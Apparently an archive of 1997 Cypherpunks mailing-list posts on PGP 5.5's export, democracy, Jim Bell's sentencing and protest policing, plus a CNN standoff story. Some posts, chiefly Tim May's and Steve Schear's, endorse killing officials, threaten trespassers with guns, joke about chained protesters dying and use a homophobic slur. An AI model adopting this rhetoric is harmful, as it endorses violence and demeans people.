Instructor and a Master Instructor of chemical weapons and is literally
the person
who "teaches the teachers".

Mr. Atkinson is also the author of numerous books, including multiple
titles related
to chemical weapons.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 31 Oct 1997 23:54:18 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
In-Reply-To: <199710310747.IAA13847@basement.replay.com>
Message-ID: <3.0.3.32.19971031072954.0315c320@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713745.multipart/signed"

--Boundary..3985.1071713745.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 09:55 AM 10/31/97 +0100, Lucky Green wrote:
>On Fri, 31 Oct 1997, Anonymous wrote:
>
>> 
>> > It seems that unknown Cypherpunks have yet again shown their
disrespect of
>> > US export laws by exporting the latest version of PGP. The Windows
version
>> > of PGP 5.5 is now available for your downloading pleasure at
>> > ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip
>> 
>> > -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>> >    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
>> 
>> First, a PGP employee announces that PGP 5.5 is available for download.
>
>Let me state that I am not now, nor have I ever been, an employee of PGP.
>I simply noticed what I thought to be PGP 5.5 on a well known FTP site.
>Sorry if it was a dud.
>
>-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

I downloaded it successfully, although I did have to try several times.  If
at first you don't succeed...

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713745.multipart/signed
Content-Type: application/octet-stream; name="pgp00013.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00013.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5Gbjc4c0pGMGtYcXB3
M01FUUlYYVFDZUp5clNQcldMMzQzb2I2aE4xV1FUZzlZSWZsY0FvSnV3Ck9F
S3IvQlJab2tUZ21CZTVrbGZqNWpLKwo9Y3N4eQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3985.1071713745.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 21:39:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710311335.HAA24707@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 12:40:35 +0000
> From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
> Subject: Re: Terrorism is a NON-THREAT (fwd)

> > > We hear on TV etc people saying "If this draconian measure saves the
> > > life of one innocent child its worth the loss of my right to walk in
> > > the park, or whatever". This is clearly shit, but can people suggest a
> > > sensible measure of when new legistlation is justified?
> > 
> > Is this a trick question, or sumpin'?
> > 
> > If not, then the answer is "the Constitution."
> 
>  I was trying to start from somewhere more fundamental than the
>  Constitution, but if I understand you, you're saying that an arbitary, 
>  allbeit 'self-evident', set of limitations are set down (i.e. the US
>  Constitution) at some point in time and no new laws should be made that
>  contradict this set of rules.
>  By doing this, aren't we putting a dictatorial limit on whatever
>  democracy we come up with? In effect saying "we're all equal under God,
>  and God wrote the Constitution"?                            

No, that is not the way it works at all. [Geesh]

Let's start from the beginning, shall we.

Our government does *NOT* start with the Constitution [one spin-doctor
approved lie down]. It starts with the Declaration of Independance. It
defines those self-evident issues of a democracy we are speaking of. Further,
the founding fathers [NOT just the framers of the Constitution; second
spin-doctor approved lie down] felt those rights were God given because they
were inherent in being a human being, not something like a drivers license
you had to prove you were responsible enough for and could be taken away
[third spin-doctor lie down]. You got those rights (barring social
institutions to the contrary, which are a challenge to overcome for
democracies - and we fail miserably) because you breath and shit - period.
[fourth spin-doctor lie down]

Even my being a pantheist, and hence rejecting the concept of divinity,
allow that we have rights which are inherent in our existance (Nature's God,
which for me are synonymous). Rights that can only be taken at the pain of
death or continued violence [fifth spin-doctor lie down]. That violence
abrogates the social contract between myself and others (ie society) because
it does not allow me the latitude that is mine by simple existance [sixth
spin-doctor lie down].

Allow me to quote the first and part of the second initial paragraphs of
that founding document:
 
When in the Course of human Events, it becomes necessary for 
one People to dissolve the Political bands which have connected 
them with another, and to assume among the Powers of the Earth, 
the separate and equal station to which the Laws of Nature and 
of Nature's God entitle them, a decent respect to the Opinions 
of Mankind requires that they should declare the causes which 
impel them to the Separation. 
 
     We hold these Truths to be self-evident, that all Men are 
created equal, that they are endowed by their Creator with 
certain unalienable rights, that among these are Life, Liberty, 
and the Pursuit of Happiness--That to secure these Rights, 
Governments are instituted among Men, deriving their just Powers 
from the Consent of the Governed, that whenever any Form of 
Government becomes destructive of these Ends, it is the Right of 
the People to alter or to abolish it, and to institute new 
Government, laying its foundation on such Principles and 
organizing its Powers in such Form, as to them shall seem most 
likely to effect their Safety and Happiness.  Prudence, indeed, 
will dictate that Governments long established should not be 
changed for light and transient Causes; and accordingly all 
Experience hath shewn, that Mankind are more disposed to suffer, 
while evils are sufferable, than to right themselves by 
abolishing the Forms to which they are accustomed.  But when a 
long train of Abuses and Ursurpations, pursuing invariably the 
same Object, evinces a Design to reduce them under absolute 
Despotism, it is their Right, it is their Duty, to throw off such 
Government, and to provide new Guards for their future Security. 

*THAT* is the definition of democracy, *NOT* some bullshit definition that a
government spin-doctor spews forth in a government spin-doctor institution
better known as a school telling you that some ephemeral 'rule-of-law' is
the ultimate authority in this country [seventh spin-doctor lie down].

Political oppressors are like the Terminator, you can't reason with them and
it will kill you. They're meat-bop (thanks Rudy!) machines with faulty
processors.

Democracies should be based on cooperation, NOT compromise (ie giving up
rights to make sombodies elses job easier). [eighth spin-doctor lie down]

Tim and others predict a revolution, while I agree in principal that a
social and political revolution and hence an accounting (hopefuly with about
another 50 amendments to the Constitution) is coming I disagree that it will
or needs to be violent. This ilk of 'patriot' hates so much they have become
what they hate - users of violence to get their way and to hell with the
consequences. They're simply the next wave of oppressors if we let them.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Sat, 1 Nov 1997 00:52:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT
Message-ID: <878316320.10360.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate (ravage@ssz.com) wrote:
>No, it doesn't - your definition of democracy is a simplistic if not
>childish view intended to cast democracy in the worst possible light
>imaginable.

I don't need to cast dumbocracy in a bad light; one look at the news
does far more than I ever could to show the evils of government.

>Obviously there is nothing in the definition of a democracy that prevents
>those founding the democracy from stating:
>"Congress shall make no law respecting ..."

Indeed. And such statements are almost totally worthless; the US 
Constitution includes such statements, yet it is rapidly becoming
the world leader in repression and spreading that to other countries
as fast as it can. The best such limits can do is slow the spread of 
government, not stop it. Perhaps you should try a few games of
Hofstadter's 'Nomic', which is based around this problem?

>Grow up.

I have grown up; I come from a strongly socialist family, yet I soon
learnt that my and my family's political beliefs were wrong. Most people 
just continue to parrot the same beliefs all their lives. I could live
with a libertarian minarchy, or even the US Constitution if it were
upheld, but neither society would be as stable as anarchy.

>You've proved nothing except your a priori dislike for democracy because you
>want to convince others you are an angel.

Sorry? I have no desire to govern others, so I don't have to be an
angel. Indeed, the fact that there are no angels is another strong
argument for anarchy over government. If power corrupts, then eliminate
the power.

If self-rule is good, then government is bad. If you believe in both
self-rule and government, you've proven nothing but that your beliefs
are contradictory.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 16:00:51 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
Message-ID: <199710310747.IAA13847@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> It seems that unknown Cypherpunks have yet again shown their disrespect of
> US export laws by exporting the latest version of PGP. The Windows version
> of PGP 5.5 is now available for your downloading pleasure at
> ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip

> -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

First, a PGP employee announces that PGP 5.5 is available for download.
Second, I try to download it a dozen times, only to have the connection
  broken each time, after outrageously long periods of waiting for an
  extremely slow transfer.
Third, PGP 5.5 disappears from the server.
Fourth, everyone I talk to tells me their attempt to download the
  file failed.

I don't _need_ PGP 5.5. I have a beta-test version of PGP 5.0 which
serves me rudimentarily well for my purposes. I would like to check
out PGP 5.5 in order to make a proper evaluation of the features
and technology involved, but it seems that it is not available for
this purpose.
PGP will undoubtedly survive without my support, but I find it sad
that after many years of supporting PGP products, I can no longer
do so with any amount of integrity.

Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 31 Oct 1997 17:27:13 +0800
To: cypherpunks@algebra.com
Subject: Archives?
Message-ID: <199710310825.JAA18745@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Is there an archive of various papers concerning such things as Assassination
Politics, Eternity Servers, Reputation Capital, The Blowfish Cipher, CROWDS,
encryption of IP traffic, etc.?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 31 Oct 1997 16:58:23 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
In-Reply-To: <199710310747.IAA13847@basement.replay.com>
Message-ID: <Pine.BSF.3.96.971031095140.18204C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 31 Oct 1997, Anonymous wrote:

> 
> > It seems that unknown Cypherpunks have yet again shown their disrespect of
> > US export laws by exporting the latest version of PGP. The Windows version
> > of PGP 5.5 is now available for your downloading pleasure at
> > ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip
> 
> > -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
> >    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 
> First, a PGP employee announces that PGP 5.5 is available for download.

Let me state that I am not now, nor have I ever been, an employee of PGP.
I simply noticed what I thought to be PGP 5.5 on a well known FTP site.
Sorry if it was a dud.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 02:10:55 +0800
To: John Young <gbroiles@netbox.com>
Subject: Re: Jim Bell sentencing delayed
In-Reply-To: <1.5.4.32.19971031120116.00c62d58@pop.pipeline.com>
Message-ID: <v03102808b07fbba42c7a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I'm not Greg, but I think the repeated delays in Bell's sentencing have
obvious reasons.


At 5:01 AM -0700 10/31/97, John Young wrote:
>Greg,
>
>What's your take on repeated delay in Jim's sentencing:
>
>1. A squeeze on Jim to finger co-conspirators.

Yep. This seemed apparent when he was remanded to the custody of U.S.
Marshals after his brief trial. Why was he not sentenced that very day, of
the verdict, or the day after? How can holding a person for six or more
months without a sentence possibly by justified, even in Amerika's fucked
up judicial system?

His incarceration is itself the best justification for his ideas.

(The au pair in Cambridge, MA was sentenced the day after the verdict, and
could've been sentenced the day of the verdict had it not been so late at
night. So why does it take six or more months to decide on Bell's sentence?
Because he's a political criminal.)

>2. Weak case, must use procedure to punish.

Weak case or not, he was already found guilty, so this is moot. If the
judge thought the case was so weak that he could not give jail time, then
why would the same judge effectively "give jail time" by the act of
continuance for so many months? It doesn't compute.

>4. Jim was up to something worse now being discovered
>(like 5 below).
>
>5. Jim is a secret gov agent, now feet up in Tacoma IRS
>laughing at those who fell for suckerbait, screwball AP
>written by IRS as a sting (a recent book package to Jim was
>returned marked "Not in Jail").

Probably just a screw-up in processing. I admit that I haven't tried to
contact Bell, or send him books, or visit him.

Bell might have _turned_, a possibility (which I doubt) one must always
consider. But he was almost certainly not an agent all those years he was
doing other things. For one thing, he didn't recruit others into doing the
things he was eventually charged with doing....kind of a non-starter for an
agent provacateur.


I hope that if and when I am ultimately charged, arrested, raided, shot,
declared insane, committed, whatever, that I have the decency to stand my
ground.

I don't know Jim Bell, except through his posts on Cypherpunks, but if the
recent letters reprinted here on the list are really his, he appears to be
a changed, or broken, man. I'd say the real reason for his six-month stay
of sentencing is this:

Real Reason: Psychological pressure, with the prospect of release for time
served held constantly over his head, and the prospect of heavy prison time
also held constantly over his head.

Instead of sentencing him and being done with it, letting Bell then adjust
to what was ahead of him, and probably remaining a supporter of his own
ideas, they instead subject him to the well-known psychological pressure
(even torture) of never telling him what's ahead.

Kafka's "The Trial" comes to mind.

No wonder the people are having their own trials of the criminals in the
judicial system.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 2 Nov 1997 01:41:55 +0800
To: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <v03102800b07e6492650f@[208.129.55.202]>
Message-ID: <v03102800b07fbff62fe0@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>An entity claiming to be Steve Schear wrote:
>: >: Tim May wrote:
>: >:
>: >: (Personally, were I to be arrested and held on such false charges, I'd
>: >: consider it necessary to kill those who illegally held me. Preferably
>from
>: >: a safe distance, with a sniper rifle. But then I'm a right wing
>libertarian
>: >: whacko.)
>: >
>: >Right wing, left wing, friggin' wingless ... the above comment still
>: >indicates a sociopath.
>:
>: Perhaps, but is being a sociopath that bad?  When those who administer the
>: justice system in society are out-of-control, or have consciously decided
>: to ignore the constitutional protections they are charged with upholding
>: then strong, extra-legal, measures may be called for in order to right the
>: apple cart.
>
>While being an eloquent statement of support for gang warfare, it still
>disagrees with the old adage of "two wrongs don't make a right" [1].  It does
>indicate that this concept of justice causes any traces of "law" to go right
>down the drain anytime one person oversteps the boundary.  If Tim were
>justified in breaking the law because a (hypothetical) LEO broke his end of
>the Constitutional bargain, wouldn't that make the "law" in question moot?

Yes, such direct measures by a wronged individual can set the stage for
further lawlessness and should only be undertaken after all reasonable
legal measures within the system have been exhausted.  Justice is, in my
opinion, more important than the survivial of the system, when that system
no longer can deliver justice.  If LEOs feel they can overstep their legal
restraints with impunity, because their superiors won't know or care, or
the courts are very unlikely to punish, then the laws have already become
moot.

>
>I'm not attacking your ideals, or Tim's, I'm just wondering if this sort
>of reactionary violence is valid.  If Tim were arrested on some bogus charge
>[2] and were held as a political prisoner, let's say he does as he says he
>would ... leaving a corpse in jackboots.  Wouldn't that add more fuel to the
>fires of the political reptiles, resulting in more oppresive law enforcement?

Yes, and this is exactly what is happening with the dramatic militarization
of enforcement units in unlikely government organizations.

>
>I'm not saying that he should just turn the other cheek, I'm just wondering if
>there aren't more effective ways of dealing with an out of control government.
>The American public won't be roused to open revolution quite so easily.  They
>have jobs, cars, houses, kids, dogs, digital watches [3] and lots of other
>things that they do not want to lose.  Revolution is untidy, and Americans
>know this, so does the government ... this gives them a BIG advantage, it
>makes the citizenry very compliant.

At the time of the American Revolution a similar situation existed.  The
crown set the stage with standing colonial armies paid for by colonial
citizens against their wishes, forced billeting of soldiers in residential
homes, harsh and unjust laws and extridition of accused to England for
trials by non-peers, etc.  It has been widely estimated that only 10-15% of
the colonists participated in the Revolution, most being either loyalists
or too afraid to get involved. Of course, we're a long way from this.

>
>How do you see Tim's stance as being practical?

For those who seek the overthrow of order imposed by who they accuse of
ignoring constitutional guarantees, nothing could be better than to manuver
them into ever more blatant and publicized abuses of civil rights.  So long
as instigators carefully chose the battle ground and keep collateral damage
to a minimum, common citizens (with no particular radical bent) will see
through the spin doctors, revealing the true stripes of those with naked
power ambitions and see themselves as possible next targets for abuse.  It
only takes 10-15%.

Personally, I doubt any actions short of those which sucessfully challenge
the ability of the Feds to protect citizens from lawlessness will cause
significant numbers of citizens to reconsider their allegence.

The problems we are facing were largely explored by Alexis de Toqueville in
the first quarter of the 19th century.  He predicted that "tyranny of the
majority",the darker side of democracy, was a possible result of the
American experiment.  Jefferson's solution, frequent revolutions, has
unfortuately been shunned.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 02:45:05 +0800
To: Fisher Mark <cypherpunks@cyberpass.net>
Subject: RE: North CA cops skip preliminaries, get straight to torture
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933FC@indyexch_fddi.indy.tce.com>
Message-ID: <v03102800b07fc6a7224a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 AM -0700 10/31/97, Fisher Mark wrote:

>I think you're overreacting here (or I am misreading the above '>>').
>If the sentence is life, with a chance for parole after 15 years, or if
>the sentence is death, that is what all those who practice civil
>disobedience should face -- what the actual sentence is.  Applying
>pepper spray directly to eyes of _non-violent_ demonstrators is "cruel
>and unusual punishment", not just normal arrest procedures.  (Violent
>demonstrators must deal with the consequences of their actions,
>including death.)

This whole "non-violent demonstrators" stuff is the conceptual flaw.

If I return to my home or place of business and find that "demonstrators"
have placed a 700-pound tree trunk in the center of my living room or
office and have chained themselves to it, or surrounded it with a human
chain, as a form of "protest," my response will be simple:

"I'm going to go get my assault pistol and a couple of other guns. If
you're gone by the time I get back, we'll settle in civil court for the
damage you just did to my front door, my carpet, and my peace of mind. If
you're not gone, I'll consider you intruders in my home or business, and
probable threats. Take your choice."

Sounds fair to me.

"Non-violent demonstrators" are still trespassers, and possible security
threats.

This is what guns are for.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mskala@swindle.csc.UVic.CA
Date: Sat, 1 Nov 1997 03:00:41 +0800
To: cypherpunks@toad.com
Subject: Re: The reason we need to give up our rights...
In-Reply-To: <2d531f1a3bd67fb025b10fe779f2bd10@anon.efga.org>
Message-ID: <Pine.A41.3.96.971031103924.8758B-100000@swindle.csc.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 31 Oct 1997, Anonymous wrote:
> Recently, a Canadian man was charged with 572 instances of having
> individual and group sex with pre-teenage boys. He was sentenced to
> a 'duece-less' (two years less a day), which is 'soft time' in Canada,
> and is served in a provincial jail instead of a federal institution.

It's also the longest sentence they can give with no possibility for
parole.  You neglected to mention that, and I think it's highly relevent. 
I'm not familiar with the particular case you describe, but I used to know
a man who ended up going to jail for two years less a day for raping his
daughter, and in the decision, the judge said he really wanted to give him
a much longer sentence, but considered it more important to be certain
he'd be kept away from the family as long as possible.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 02:50:58 +0800
To: Fisher Mark <cypherpunks@cyberpass.net>
Subject: RE: Protocols for Insurance to Maintain Privacy
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933FE@indyexch_fddi.indy.tce.com>
Message-ID: <v03102801b07fc83b815f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:52 AM -0700 10/31/97, Fisher Mark wrote:
>>You can improve the situation by purchasing high deductible policies.
>>It is astonishing how quickly the rates fall when you are willing to
>>pay the first few thousand yourself.
>
>This is almost a necessity nowadays, as many employers don't start your
>health coverage until you have been employed for 6 months.  A high
>deductible makes self-insurance (at least for engineers) affordable when
>in-between corporate health insurance policies.

(Personal caveat: I haven't visited a doctor for any reason since 1970, and
that was for a required college physical. Oh, and a 10-minute "physical" in
the late 70s for a life insurance policy, which I later let lapse. Saying
this probably means I'll be hospitalized in the next few months.)

I had an engineer working for me who cheerfully used the company medical
plan for all it was worth. If his kid had a cold, off to the doctor. If his
wife felt feverish, off to the doctor. If he had an upset stomache after
lunch (understandable considering the state of company food and
burrito-vending machines in 1980), off to the doctor.  He may have paid $5
per visit. Of course, he took off a lot of time to make these various treks
to have his kids, himself, and his wife "treated" (given aspirin, told to
drink plenty of fluids, whatever). A nice racket for the hospitals.

If something is made free, people tend to use more of it. This is the
health care crisis in America, and a slightly different one in Canada.
Details vary, but the problems have the same root cause: distortions in
markets.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 18:27:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: North CA cops skip preliminaries, get straight to torture
Message-ID: <199710311021.LAA29625@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 9:14 PM -0700 10/30/97, Anonymous wrote:
> 
> >  This non-violent demonstrators were willing to accept the agreed
> >upon punishment/cost of their actions in protest of the actions
> >of their public servants. Their public servants, as usual, chose
> >to to act in the manner of savages who are incapable of holding
> >to the rule of law which they use to justify their confiscation
> >of the citizen's right to bear arms in the face of tyranny.
> 
> Excuse me, but this modern notion that protestors get to "make a deal"
> about the fines they'll eventually pay is bogus. If they're trespassing,
> they're trespassing. They don't get to take over Intel's factory, chain
> themselves to the Evil Factory doors, and then make a deal to pay some
> token fine.

  Perhaps I was unclear, but I was refering to the _ancient_ notion
that once one has crawled out of the primeval swamp and begun to walk
upright, that they should work on controlling their animal passions to
the extent that they abide by the agreements they have sworn to uphold,
regardless of whether the people they are being paid to serve have
pissed them off.
  Am I mistaken in my impression that they did not take over Intel's
factory? How is your mind holding up, Tim? Can you remember details
of your life that don't have to do with Intel?
  {Not that I haven't sunken in to remeniscing about my life during
   several posts today. I suppose it is only a matter of time until
   we are all Grouchy Old Cypherpunks inundating the list with posts
   about who died, who has prostrate cancer, and who broke their hip
   trying to close that darned new-fangled nuclear suitcase.}

> Like the AIDS protestors who "arrange" a deal whereby they'll shut down the
> Golden Gate Bridge for several hours and then pay their arranged $50
> tickets.

  Do you know about some 'deal' of which I am not aware in this
situation
or shall we discuss the _real_ events which took place in Humboldt?
 
> Well, what's wrong with me driving up to the head of the sit-down protest
> and saying to the cops standing idly by, "Hey, there are some queers in the
> middle of the road, blocking my trip to Marin. If you're just gonna let em
> sit there for hours, putting my business and plans at risk, I'm just gonna
> gun my engine and drive right over their fairy asses."

  To tell the truth, I really don't have any problem with _you_ doing
so. I _would_ have a problem with the cops doing so, however, which is
a point I am trying to make.
  It may be the policeman's job and/or duty to arrest and imprison the
people involved, but it is in no way their duty or right to _punish_
the people by invoking a level of violence which is not necessary to
accomplish the job.
  I don't really care if it is _difficult_ for the policemen to deal
with the physical details of imprisoning the people. And I don't have
a lot of sympathy for the protesters if they get bumped and bruised
in the process of the police honestly doing their job. However, it
is unconscienable for officers to inflict pain and suffering on 
the protesters for no other reason than to punish them for making
the policeman's job difficult and defying authority.

> Crimes are crimes, not "guerilla theater." Not "performance art."

  Such as dumping tea in Boston harbor to protest oppressive
taxation?
 
> >  Twenty years or so ago, after seeing pictures of mothers and
> >children in chains at a Livermore Labs protest, I wrote a song
> >called "Don't Blame Me, I Voted For The Monkey."
> 
> I had a much better idea back then. Leave the mothers and childrens chained
> to the fences and gates.
> 
> Pull back from them, erect a cordon around them, and block anyone from
> approaching.  They wanted to be chained to the fence, sans keys, so let
> them have their wish.

  Fucking eh! I wish you had been in charge back then. I thought it
was ridiculous for LEA's to play to protesters desires by escalating
situations beyond what was really needed because of some perceived
threat to their authority.
 
> Others could show up to throw stuff at them, and place bets on who would be
> the last to die.
> 
> And, as the flesh dripped off and the bones whitened, it might be a nice
> object lesson for the others.

  Say, that's not a 'red bandana' on your neck, is it?

WhiteSocksAndBlueRibbonBeerMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 18:29:13 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
Message-ID: <199710311022.LAA29789@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> Let me state that I am not now, nor have I ever been, an employee of PGP.

  I knew that! I must have eaten too many of the yellow ones tonight
to keep track of my Crayola lines. I'd better eat a couple more of the
red ones to get myself back on track.

> I simply noticed what I thought to be PGP 5.5 on a well known FTP site.
> Sorry if it was a dud.

  Thanks for the pointer, just the same.

> -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

  Oh, I see my mistake! I had Caesar, wearing a 'Toga', connected to
the anti-Christ with a red Crayola line, and mistook it for 'Tonga'.
  No problem, I'll just eat a couple of the brown Crayola's and throw
three Hail Flutie's.

Still Anonymous (except to Lucky)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lurker@ottoman.net
Date: Fri, 31 Oct 1997 16:42:51 +0800
Subject: No Subject
Message-ID: <199710310930.LAA11089@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



October 30, 1997
Web posted at: 9:34 p.m. EST (0234 GMT) 

ROBY, Illinois (CNN) -- Shirley A. Allen, a mentally disturbed woman
who held police off for 39 days with a shotgun and entertained herself
by listening to public radio, was captured Thursday and taken to a
hospital. 

"The good news is she's safe," said Terrance Gainer, Illinois state
police director. "The great news is nobody got seriously hurt or killed."

The standoff ended when Allen ventured out on the deck behind her
home to throw away food and water left for her by the police. On her
third trip, she stooped to cut a wire attached to a pail in which a police
camera was hidden. 

A trooper fired six rubber bullets at her, striking her two or three times
and knocking her to the deck, where she was captured. 

Gainer said that Allen, who wore a full camouflage suit padded
with a pillow and magazines, was examined at a hospital and
reported to be in good condition  was feisty enough after the
ordeal to scold police for their tactics during the standoff. 

Gainer said she is still in custody and will undergo a psychiatric
examination. 

"I think she's probably as relieved right now as we are that this
is over," said Allen's brother, Byron Dugger, who talked with her
after she was captured. 

Gainer said Allen asked Dugger to open his mouth to prove he
wasn't someone wearing a mask that looked like him. 

'They have zapped my head with radar' 

The standoff in this small central Illinois town began
September 22 when Allen, 51, brandished a shotgun
as her brother and sheriff's deputies tried to
take her in for a court-ordered evaluation. 

Allen's relatives were concerned because she had
become increasingly depressed and paranoid
since her husband died of pancreatic cancer in 1989. More
recently, she had refused to see or talk to her brother or her
86-year-old mother. 

In a letter to her mother in May 1996, Allen wrote, "They have
zapped my head with radar. I have swelling and inflammation of
the brain." 

She did not say who "they" were, but when police offered her
water after she was captured, she said "the helicopters" told her
not to drink it. There were no helicopters in sight, but she finally
drank the water after troopers drank some to prove it wasn't
poisoned. 

She told them she hadn't eaten or had anything to drink in three
days. 

Allen also talked to her daughter, Kate Waddell, after she was
captured. "But she wasn't quite sure it was Mrs. Waddell,"
Gainer said. 

Allen's case attracted the sympathy of many neighbors and
became a rallying point for some who called it "Roby Ridge,"
likening it to shootouts at Ruby Ridge, Idaho, and Waco, Texas,
as an example of overzealous law enforcement. 

Standoff cost taxpayers about $1 million 

Others questioned the expense of the standoff.
